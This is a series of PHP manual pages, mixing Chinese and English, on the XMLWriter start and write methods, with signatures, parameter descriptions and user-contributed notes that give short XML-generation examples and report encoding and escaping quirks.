(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startAttributeNs -- xmlwriter_start_attribute_ns — Create start namespaced attribute

说明

面向对象风格

XMLWriter::startAttributeNs ( string $prefix , string $name , string $uri ) : bool

过程化风格

xmlwriter_start_attribute_ns ( resource $xmlwriter , string $prefix , string $name , string $uri ) : bool

Starts a namespaced attribute.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

prefix

The namespace prefix.

name

The attribute name.

uri

The namespace URI.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startAttribute() - Create start attribute
  • XMLWriter::endAttribute() - End attribute
  • XMLWriter::writeAttribute() - Write full attribute
  • XMLWriter::writeAttributeNs() - Write full namespaced attribute

User Contributed Notes

There are no user contributed notes for this page.


Create start attribute

  • ? XMLWriter::startAttributeNs
  • XMLWriter::startCdata ?
  • PHP Manual
  • XMLWriter 函数
  • Create start attribute

XMLWriter::startAttribute

xmlwriter_start_attribute

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startAttribute -- xmlwriter_start_attribute — Create start attribute

说明

面向对象风格

XMLWriter::startAttribute ( string $name ) : bool

过程化风格

xmlwriter_start_attribute ( resource $xmlwriter , string $name ) : bool

Starts an attribute.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The attribute name.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startAttributeNs() - Create start namespaced attribute
  • XMLWriter::endAttribute() - End attribute
  • XMLWriter::writeAttribute() - Write full attribute
  • XMLWriter::writeAttributeNs() - Write full namespaced attribute

User Contributed Notes

alvaro at demogracia dot com 11-Apr-2011 03:08
The attribute value can be set with XMLWriter::text(), e.g.:

<?php
$writer = new XMLWriter;
$writer->openURI('php://output');
$writer->startDocument('1.0', 'UTF-8');

$writer->startElement('response');
    $writer->startElement('status');
        $writer->startAttribute('code');
            $writer->text('500');
        $writer->endAttribute();
    $writer->endElement();
$writer->endElement();

$writer->endDocument();
?>

... generates:

<?xml version="1.0" encoding="UTF-8"?>
<response><status code="500"/></response>


Create start CDATA tag

  • ? XMLWriter::startAttribute
  • XMLWriter::startComment ?
  • PHP Manual
  • XMLWriter 函数
  • Create start CDATA tag

XMLWriter::startCdata

xmlwriter_start_cdata

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startCdata -- xmlwriter_start_cdata — Create start CDATA tag

说明

面向对象风格

XMLWriter::startCdata ( void ) : bool

过程化风格

xmlwriter_start_cdata ( resource $xmlwriter ) : bool

Starts a CDATA.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endCdata() - End current CDATA
  • XMLWriter::writeCdata() - Write full CDATA tag

User Contributed Notes

There are no user contributed notes for this page.


Create start comment

  • ? XMLWriter::startCdata
  • XMLWriter::startDocument ?
  • PHP Manual
  • XMLWriter 函数
  • Create start comment

XMLWriter::startComment

xmlwriter_start_comment

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 1.0.0)

XMLWriter::startComment -- xmlwriter_start_comment — Create start comment

说明

面向对象风格

XMLWriter::startComment ( void ) : bool

过程化风格

xmlwriter_start_comment ( resource $xmlwriter ) : bool

Starts a comment.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endComment() - Create end comment
  • XMLWriter::writeComment() - Write full comment tag

User Contributed Notes

There are no user contributed notes for this page.


Create document tag

  • ? XMLWriter::startComment
  • XMLWriter::startDtdAttlist ?
  • PHP Manual
  • XMLWriter 函数
  • Create document tag

XMLWriter::startDocument

xmlwriter_start_document

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startDocument -- xmlwriter_start_document — Create document tag

说明

面向对象风格

XMLWriter::startDocument ([ string $version = 1.0 [, string $encoding = NULL [, string $standalone ]]] ) : bool

过程化风格

xmlwriter_start_document ( resource $xmlwriter [, string $version = 1.0 [, string $encoding = NULL [, string $standalone ]]] ) : bool

Starts a document.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

version

The version number of the document as part of the XML declaration.

encoding

The encoding of the document as part of the XML declaration.

standalone

yes or no.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endDocument() - End current document

User Contributed Notes

msbmail at gmail dot com 29-Oct-2012 01:08
Some errors in generating the XML document are related to the format used to write the PHP file from which the XML is generated.

In Windows environments, be sure to save your documents in ANSI / ASCII and you will avoid many of them.
icepick dot pt at hotmail dot com 30-Mar-2009 01:25
I was having a very hard time triyng to use:

$writer->startDocument( '1.0' , 'Windows-1252' );

Somehow this caused the generation of an empty xml file, and I could not figure out why.
When all other efforts failed I asked for help to the team that developed the XMLwriter extension, and got a very quick reply as follows:

Quote:
==============================
Windows-1252 support is only available if libxml2 is link with iconv
support (it usually is, but there are exceptions). I know on my Mac, the
built in libxml2 doesnt provide iconv support - they go with some
Unicode hack which doesnt provide it, so I had to build my own. It is
built by default (and your code works) on my linux machines.

It is possible to create the XML without a declaration, which means you
could add it manually, but if you use any characters that are differnt
between UTF-8 and Windows-1252, the encoding would be wrong in the
document, so do not recommend.
==============================

Then light was made on my head: I am using a linux server distribution that by default is still running PHP 4.3. A few months ago I decided to force the upgrade of PHP to the newest version 5.1.6 at that time, and that has brougth me the XMLwriter extension that I am now using. But clearly there are compatibility issues betwen the rest of the server's defaults and PHP 5 wich is probably why it's development team has not upgraded yet.

Let's hope all the remaining environments catch up with this extension. It is in fact most handy.

And in the meantime, I have figured out a (not recomended, obviously) workaroud that works for me:

Instead of using two parameters, I used only the first one:

$writer->startDocument( '1.0" encoding="Windows-1252' );

this will output:

<?xml version="1.0" encoding="Windows-1252"?>


Create start DTD AttList

  • ? XMLWriter::startDocument
  • XMLWriter::startDtdElement ?
  • PHP Manual
  • XMLWriter 函数
  • Create start DTD AttList

XMLWriter::startDtdAttlist

xmlwriter_start_dtd_attlist

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtdAttlist -- xmlwriter_start_dtd_attlist — Create start DTD AttList

说明

面向对象风格

XMLWriter::startDtdAttlist ( string $name ) : bool

过程化风格

xmlwriter_start_dtd_attlist ( resource $xmlwriter , string $name ) : bool

Starts a DTD attribute list.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The attribute list name.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endDtdAttlist() - End current DTD AttList
  • XMLWriter::writeDtdAttlist() - Write full DTD AttList tag

User Contributed Notes

There are no user contributed notes for this page.


Create start DTD element

  • ? XMLWriter::startDtdAttlist
  • XMLWriter::startDtdEntity ?
  • PHP Manual
  • XMLWriter 函数
  • Create start DTD element

XMLWriter::startDtdElement

xmlwriter_start_dtd_element

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtdElement -- xmlwriter_start_dtd_element — Create start DTD element

说明

面向对象风格

XMLWriter::startDtdElement ( string $qualifiedName ) : bool

过程化风格

xmlwriter_start_dtd_element ( resource $xmlwriter , string $qualifiedName ) : bool

Starts a DTD element.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

qualifiedName

The qualified name of the document type to create.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endDtdElement() - End current DTD element
  • XMLWriter::writeDtdElement() - Write full DTD element tag

User Contributed Notes

There are no user contributed notes for this page.


Create start DTD Entity

  • ? XMLWriter::startDtdElement
  • XMLWriter::startDtd ?
  • PHP Manual
  • XMLWriter 函数
  • Create start DTD Entity

XMLWriter::startDtdEntity

xmlwriter_start_dtd_entity

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtdEntity -- xmlwriter_start_dtd_entity — Create start DTD Entity

说明

面向对象风格

XMLWriter::startDtdEntity ( string $name , bool $isparam ) : bool

过程化风格

xmlwriter_start_dtd_entity ( resource $xmlwriter , string $name , bool $isparam ) : bool

Starts a DTD entity.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The name of the entity.

isparam

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endDtdEntity() - End current DTD Entity
  • XMLWriter::writeDtdEntity() - Write full DTD Entity tag

User Contributed Notes

There are no user contributed notes for this page.


Create start DTD tag

  • ? XMLWriter::startDtdEntity
  • XMLWriter::startElementNs ?
  • PHP Manual
  • XMLWriter 函数
  • Create start DTD tag

XMLWriter::startDtd

xmlwriter_start_dtd

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startDtd -- xmlwriter_start_dtd — Create start DTD tag

说明

面向对象风格

XMLWriter::startDtd ( string $qualifiedName [, string $publicId [, string $systemId ]] ) : bool

过程化风格

xmlwriter_start_dtd ( resource $xmlwriter , string $qualifiedName [, string $publicId [, string $systemId ]] ) : bool

Starts a DTD.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

qualifiedName

The qualified name of the document type to create.

publicId

The external subset public identifier.

systemId

The external subset system identifier.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endDtd() - End current DTD
  • XMLWriter::writeDtd() - Write full DTD tag

User Contributed Notes

joaner1206 at gmail dot com 04-Oct-2011 02:52
If you will write a HTML document :

 // $xml = new XMLWriter();  you know it and openURI()

<?php
 // for HTML 5
$xml->startDTD('html');
 // for XHTML 1.0
$xml->startDTD('html', '-//W3C//DTD XHTML 1.0 Strict//EN','http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'); // standards compliant

$xml->endDTD();
?>
it will be :
<!DOCTYPE html>
or    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">

don't need to startDocument() .


Create start namespaced element tag

  • ? XMLWriter::startDtd
  • XMLWriter::startElement ?
  • PHP Manual
  • XMLWriter 函数
  • Create start namespaced element tag

XMLWriter::startElementNs

xmlwriter_start_element_ns

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startElementNs -- xmlwriter_start_element_ns — Create start namespaced element tag

说明

面向对象风格

XMLWriter::startElementNs ( string $prefix , string $name , string $uri ) : bool

过程化风格

xmlwriter_start_element_ns ( resource $xmlwriter , string $prefix , string $name , string $uri ) : bool

Starts a namespaced element.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

prefix

The namespace prefix.

name

The element name.

uri

The namespace URI.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endElement() - End current element
  • XMLWriter::writeElementNs() - Write full namespaced element tag

User Contributed Notes

pike-php at kw dot nl 07-Mar-2011 04:02
by default, the xmlns: definition is repeated on every element.

if you do want the prefix, but dont want the xmlns: declaration repeated, set the namespace to null. dont forget to declare the namespace prefix somewhere higher in your document, though:

<?php
$w->startElementNS('foo', 'bar', 'http://example.com/foo');
$w->startElementNS('foo', 'baz', null);
$w->endElement();
$w->endElement();
?>
anthony dot parsons at manx dot net 05-Aug-2007 10:27
If you don't want any namespace prefix at all but still want the xmlns attribute, set $prefix to null.


Create start element tag

  • ? XMLWriter::startElementNs
  • XMLWriter::startPi ?
  • PHP Manual
  • XMLWriter 函数
  • Create start element tag

XMLWriter::startElement

xmlwriter_start_element

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startElement -- xmlwriter_start_element — Create start element tag

说明

面向对象风格

XMLWriter::startElement ( string $name ) : bool

过程化风格

xmlwriter_start_element ( resource $xmlwriter , string $name ) : bool

Starts an element.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The element name.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endElement() - End current element
  • XMLWriter::writeElement() - Write full element tag

User Contributed Notes

indy at driftsolutions dot com 25-Apr-2018 02:59
I'm using PHP 7.1, not sure how many versions are affected but if you try to start an element that is a number or starts with a number (ie. 1 or 1TBS) it won't write it and messes up your XML.
reedsilverstein at gmail dot com 23-Jul-2014 08:59
I needed to make a self closing tag with one attribute so I did:

<?php

$writer->startElement('CookTime');
  $writer->writeAttribute('minMinute', $cook_time);
$writer->endElement();

?>

Output: <CookTime minMinute="10"/>
toby at php dot net 21-Oct-2010 11:01
Note that startElement() and startElementNS() naturally do not write the closing ">" of the tag, since you may add an arbitrary number of attributes after starting a tag.

However, in some cases you may want to have the starting element tag closed in the output buffer before writing any further elements or content (e.g. if you communicate via an XML stream). To achieve this, you can simply use the text() method with an empty string.
marcuslists at brightonart dot co dot uk 16-Oct-2009 05:10
Call trim on the tag as a trailing space breaks the end element.


Create start PI tag

  • ? XMLWriter::startElement
  • XMLWriter::text ?
  • PHP Manual
  • XMLWriter 函数
  • Create start PI tag

XMLWriter::startPi

xmlwriter_start_pi

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::startPi -- xmlwriter_start_pi — Create start PI tag

说明

面向对象风格

XMLWriter::startPi ( string $target ) : bool

过程化风格

xmlwriter_start_pi ( resource $xmlwriter , string $target ) : bool

Starts a processing instruction tag.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

target

The target of the processing instruction.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::endPi() - End current PI
  • XMLWriter::writePi() - Writes a PI

User Contributed Notes

There are no user contributed notes for this page.


Write text

  • ? XMLWriter::startPi
  • XMLWriter::writeAttributeNs ?
  • PHP Manual
  • XMLWriter 函数
  • Write text

XMLWriter::text

xmlwriter_text

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::text -- xmlwriter_text — Write text

说明

面向对象风格

XMLWriter::text ( string $content ) : bool

过程化风格

xmlwriter_text ( resource $xmlwriter , string $content ) : bool

Writes a text.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

content

The contents of the text.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

luku at example dot com 05-Jul-2018 07:24
Corrected previous comment!
Note that $content is automatically sanitized/escaped:
> into &gt;
< into &lt;
& into &amp;
" into &quot;
However, single quotes stay unescaped! This is major drawback, if you're creating sitemaps. To fix that and to prevent double escaping, you will need to use XMLWriter::writeRaw or extend the XMLWriter class and escape the content yourself with i.e.
<?php
$content = htmlspecialchars($content, ENT_QUOTES | ENT_XML1, 'UTF-8');
?>
XMLWriter::text or XMLWriter::writeElement would double escape &apos; and result in &amp;apos;
luku at example dot com 02-Jul-2018 09:38
Note that $content is automatically sanitized/escaped:
> into &gt;
< into &lt;
& into &amp;
" into &quot;
However, single quotes stay unescaped! This is major drawback, if you're creating sitemaps. You need to escape ' into &apos; before passing it to XMLWriter::text or XMLWriter::writeElement or extend the XMLWriter class.
Anonymous 27-Dec-2017 06:34
Sometimes your text have linebreaks ("\n") that need to be translated to HTML "<br />" tag. You can use nl2br() function.


Write full namespaced attribute

  • ? XMLWriter::text
  • XMLWriter::writeAttribute ?
  • PHP Manual
  • XMLWriter 函数
  • Write full namespaced attribute

XMLWriter::writeAttributeNs

xmlwriter_write_attribute_ns

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeAttributeNs -- xmlwriter_write_attribute_ns — Write full namespaced attribute

说明

面向对象风格

XMLWriter::writeAttributeNs ( string $prefix , string $name , string $uri , string $content ) : bool

过程化风格

xmlwriter_write_attribute_ns ( resource $xmlwriter , string $prefix , string $name , string $uri , string $content ) : bool

Writes a full namespaced attribute.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

prefix

The namespace prefix.

name

The attribute name.

uri

The namespace URI.

content

The attribute value.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::writeAttribute() - Write full attribute
  • XMLWriter::startAttribute() - Create start attribute
  • XMLWriter::startAttributeNs() - Create start namespaced attribute
  • XMLWriter::endAttribute() - End attribute

User Contributed Notes

There are no user contributed notes for this page.


Write full attribute

  • ? XMLWriter::writeAttributeNs
  • XMLWriter::writeCdata ?
  • PHP Manual
  • XMLWriter 函数
  • Write full attribute

XMLWriter::writeAttribute

xmlwriter_write_attribute

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeAttribute -- xmlwriter_write_attribute — Write full attribute

说明

面向对象风格

XMLWriter::writeAttribute ( string $name , string $value ) : bool

过程化风格

xmlwriter_write_attribute ( resource $xmlwriter , string $name , string $value ) : bool

Writes a full attribute.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The name of the attribute.

value

The value of the attribute.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::writeAttributeNs() - Write full namespaced attribute
  • XMLWriter::startAttribute() - Create start attribute
  • XMLWriter::startAttributeNs() - Create start namespaced attribute
  • XMLWriter::endAttribute() - End attribute

User Contributed Notes

Paul 23-Sep-2016 08:43
If you intermix writing sub-elements and attributes, any attempt to write attributes after the first sub-element will fail and return false:

<?php
$xml = new XMLWriter();
$xml->openMemory();

$xml->startElement('element');
$xml->writeAttribute('attr1', '0');
$xml->writeElement('subelem', '0');
var_dump($xml->writeAttribute('attr2', '0'));
$xml->endElement();

echo $xml->flush();
?>

Outputs:

bool(false)
<element attr1="0"><subelem>0</subelem></element>

This is because this is a forward-only writer and the start tags are already finished. There is no going back to add more attributes later, there is no place to put attr2. This is exactly how it is supposed to work.
Jason Hughes 15-Apr-2011 01:37
If you intermix writing sub-elements and attributes, any attributes that are written after the first sub-element are ignored/discarded:

<?php
$xml->startElement('element');
  $xml->writeAttribute('attr1', 0);
  $xml->writeElement('subelem', 0);
  $xml->writeAttribute('attr2', 0);
$xml->endElement();
?>

Outputs:

<element attr1=0>
  <subelem>0</subelem>
</element>

This is stupid, but the way it works as of PHP 5.2.4.


Write full CDATA tag

  • ? XMLWriter::writeAttribute
  • XMLWriter::writeComment ?
  • PHP Manual
  • XMLWriter 函数
  • Write full CDATA tag

XMLWriter::writeCdata

xmlwriter_write_cdata

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeCdata -- xmlwriter_write_cdata — Write full CDATA tag

说明

面向对象风格

XMLWriter::writeCdata ( string $content ) : bool

过程化风格

xmlwriter_write_cdata ( resource $xmlwriter , string $content ) : bool

Writes a full CDATA.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

content

The contents of the CDATA.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startCdata() - Create start CDATA tag
  • XMLWriter::endCdata() - End current CDATA

User Contributed Notes

t dot w dot natt at UNIVERSITY dot bath dot ac dot uk 09-Sep-2008 08:18
Seen a couple of bug reports and gotchas with this one but not a simple code example. Just in case someone finds it useful:

<?php

// serve xml doc as xml
header('Content-type: application/xml');

// set up the document
$xml = new XmlWriter();
$xml->openMemory();
$xml->startDocument('1.0', 'UTF-8');
$xml->startElement('mydoc');
$xml->startElement('myele');

// CData output
$xml->startElement('mycdataelement');
$xml->writeCData("text for inclusion within CData tags");
$xml->endElement();

// end the document and output
$xml->endElement();
$xml->endElement();
echo $xml->outputMemory(true);
?>

Outputs:
<?xml version="1.0" encoding="UTF-8"?>
<mydoc>
    <myele>
        <mycdataelement><![CDATA[text for inclusion within CData tags]]>
        </mycdataelement>
    </myele>
</mydoc>
thesoupdragon at hotmail dot com 21-Jun-2007 02:14
A rather strange effect with this.

UTF8 Mysql database

                            $xml->startElement('tablecolor2');
    $xml->writeCData( $tablecolor2 );
    $xml->endElement();

does not work !

but
                            $xml->startElement('tablecolor2');
    $tablecolor2 = utf8_decode ( $val['pcolor2']);
    $xml->writeCData( utf8_encode ($tablecolor2) );
    $xml->endElement();

cannot explain this - but it may help someone
dave at dtracorp dot com 06-Mar-2007 01:30
i don't know if this is a bug with the underlying c code or not, or this is by design (i'm not a big xml guy), but for me, running on fedora core 5, php 5.2.1
to get this to work, the cdata functions need to wrap the description (or whatever element the cdata should appear in)
for example.
// initiate xmlwriter object as $xw
// add header, titles, etc.

// start cdata
$xw->startCData();
// start description
$xw->startElement('description');
// write cdata
$xw->writeCData('<img src="http://php.net/images/php.gif" />');
// write the description contents
$xw->text('php logo');
// end the description element
$xw->endElement();
// end the cdata
$xw->endCData();

// end xml, and output

otherwise, i just got warnings about writing cdata in the wrong context, and no cdata would be written


Write full comment tag

  • ? XMLWriter::writeCdata
  • XMLWriter::writeDtdAttlist ?
  • PHP Manual
  • XMLWriter 函数
  • Write full comment tag

XMLWriter::writeComment

xmlwriter_write_comment

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeComment -- xmlwriter_write_comment — Write full comment tag

说明

面向对象风格

XMLWriter::writeComment ( string $content ) : bool

过程化风格

xmlwriter_write_comment ( resource $xmlwriter , string $content ) : bool

Writes a full comment.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

content

The contents of the comment.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startComment() - Create start comment
  • XMLWriter::endComment() - Create end comment

User Contributed Notes

thewrs at gmail dot com 05-Dec-2007 02:37
This will write a XML <!----> style comment to your XMLWriter resource.

Strings up to 50 characters long are displayed on a single line with no spacing between the tags.

Anything above 50 characters will show on multiple formatted lines. Using the \n metacharater inserts a newline and maintains indenting.


Write full DTD AttList tag

  • ? XMLWriter::writeComment
  • XMLWriter::writeDtdElement ?
  • PHP Manual
  • XMLWriter 函数
  • Write full DTD AttList tag

XMLWriter::writeDtdAttlist

xmlwriter_write_dtd_attlist

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtdAttlist -- xmlwriter_write_dtd_attlist — Write full DTD AttList tag

说明

面向对象风格

XMLWriter::writeDtdAttlist ( string $name , string $content ) : bool

过程化风格

xmlwriter_write_dtd_attlist ( resource $xmlwriter , string $name , string $content ) : bool

Writes a DTD attribute list.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The name of the DTD attribute list.

content

The content of the DTD attribute list.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtdAttlist() - Create start DTD AttList
  • XMLWriter::endDtdAttlist() - End current DTD AttList

User Contributed Notes

There are no user contributed notes for this page.


Write full DTD element tag

  • ? XMLWriter::writeDtdAttlist
  • XMLWriter::writeDtdEntity ?
  • PHP Manual
  • XMLWriter 函数
  • Write full DTD element tag

XMLWriter::writeDtdElement

xmlwriter_write_dtd_element

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtdElement -- xmlwriter_write_dtd_element — Write full DTD element tag

说明

面向对象风格

XMLWriter::writeDtdElement ( string $name , string $content ) : bool

过程化风格

xmlwriter_write_dtd_element ( resource $xmlwriter , string $name , string $content ) : bool

Writes a full DTD element.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The name of the DTD element.

content

The content of the element.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtdElement() - Create start DTD element
  • XMLWriter::endDtdElement() - End current DTD element

User Contributed Notes

There are no user contributed notes for this page.


Write full DTD Entity tag

  • ? XMLWriter::writeDtdElement
  • XMLWriter::writeDtd ?
  • PHP Manual
  • XMLWriter 函数
  • Write full DTD Entity tag

XMLWriter::writeDtdEntity

xmlwriter_write_dtd_entity

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtdEntity -- xmlwriter_write_dtd_entity — Write full DTD Entity tag

说明

面向对象风格

XMLWriter::writeDtdEntity ( string $name , string $content , bool $pe , string $pubid , string $sysid , string $ndataid ) : bool

过程化风格

xmlwriter_write_dtd_entity ( resource $xmlwriter , string $name , string $content , bool $pe , string $pubid , string $sysid , string $ndataid ) : bool

Writes a full DTD entity.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The name of the entity.

content

The content of the entity.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtdEntity() - Create start DTD Entity
  • XMLWriter::endDtdEntity() - End current DTD Entity

User Contributed Notes

There are no user contributed notes for this page.


Write full DTD tag

  • ? XMLWriter::writeDtdEntity
  • XMLWriter::writeElementNs ?
  • PHP Manual
  • XMLWriter 函数
  • Write full DTD tag

XMLWriter::writeDtd

xmlwriter_write_dtd

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeDtd -- xmlwriter_write_dtd — Write full DTD tag

说明

面向对象风格

XMLWriter::writeDtd ( string $name [, string $publicId [, string $systemId [, string $subset ]]] ) : bool

过程化风格

xmlwriter_write_dtd ( resource $xmlwriter , string $name [, string $publicId [, string $systemId [, string $subset ]]] ) : bool

Writes a full DTD.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The DTD name.

publicId

The external subset public identifier.

systemId

The external subset system identifier.

subset

The content of the DTD.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLWriter::startDtd() - Create start DTD tag
  • XMLWriter::endDtd() - End current DTD

User Contributed Notes

test2 at twinmail dot de 01-Jul-2009 04:14
Use NULL for $publicId to force 'SYSTEM' instead of 'PUBLIC' output.


Write full namespaced element tag

  • ? XMLWriter::writeDtd
  • XMLWriter::writeElement ?
  • PHP Manual
  • XMLWriter 函数
  • Write full namespaced element tag

XMLWriter::writeElementNs

xmlwriter_write_element_ns

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeElementNs -- xmlwriter_write_element_ns — Write full namespaced element tag

说明

面向对象风格

XMLWriter::writeElementNs ( string $prefix , string $name , string $uri [, string $content ] ) : bool

过程化风格

xmlwriter_write_element_ns ( resource $xmlwriter , string $prefix , string $name , string $uri [, string $content ] ) : bool

Writes a full namespaced element tag.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

prefix

The namespace prefix.

name

The element name.

uri

The namespace URI.

content

The element contents.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.2.3 | The content parameter became optional.

参见

  • XMLWriter::startElementNs() - Create start namespaced element tag
  • XMLWriter::endElement() - End current element
  • XMLWriter::writeElement() - Write full element tag

User Contributed Notes

There are no user contributed notes for this page.


Write full element tag

  • ? XMLWriter::writeElementNs
  • XMLWriter::writePi ?
  • PHP Manual
  • XMLWriter 函数
  • Write full element tag

XMLWriter::writeElement

xmlwriter_write_element

(PHP 5 >= 5.1.2, PHP 7, PECL xmlwriter >= 0.1.0)

XMLWriter::writeElement -- xmlwriter_write_element — Write full element tag

说明

面向对象风格

XMLWriter::writeElement ( string $name [, string $content ] ) : bool

过程化风格

xmlwriter_write_element ( resource $xmlwriter , string $name [, string $content ] ) : bool

Writes a full element tag.

参数

xmlwriter

仅用于过程调用。被修改的 XMLWriter resource。此资源来自于对 xmlwriter_open_uri() 或 xmlwriter_open_memory() 的调用。

name

The element name.

content

The element contents.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.2.3 | The content parameter became optional.

参见

  • XMLWriter::startElement() - Create start element tag
  • XMLWriter::endElement() - End current element
  • XMLWriter::writeElementNs() - Write full namespaced element tag

User Contributed Notes

fernandopsilveira at yahoo dot com dot br 23-Mar-2017 12:01
Please note that XMLWriter::writeElement will automatically sanitize the content passed as second parameter, so & becomes &amp;, < becomes &lt; and so on.

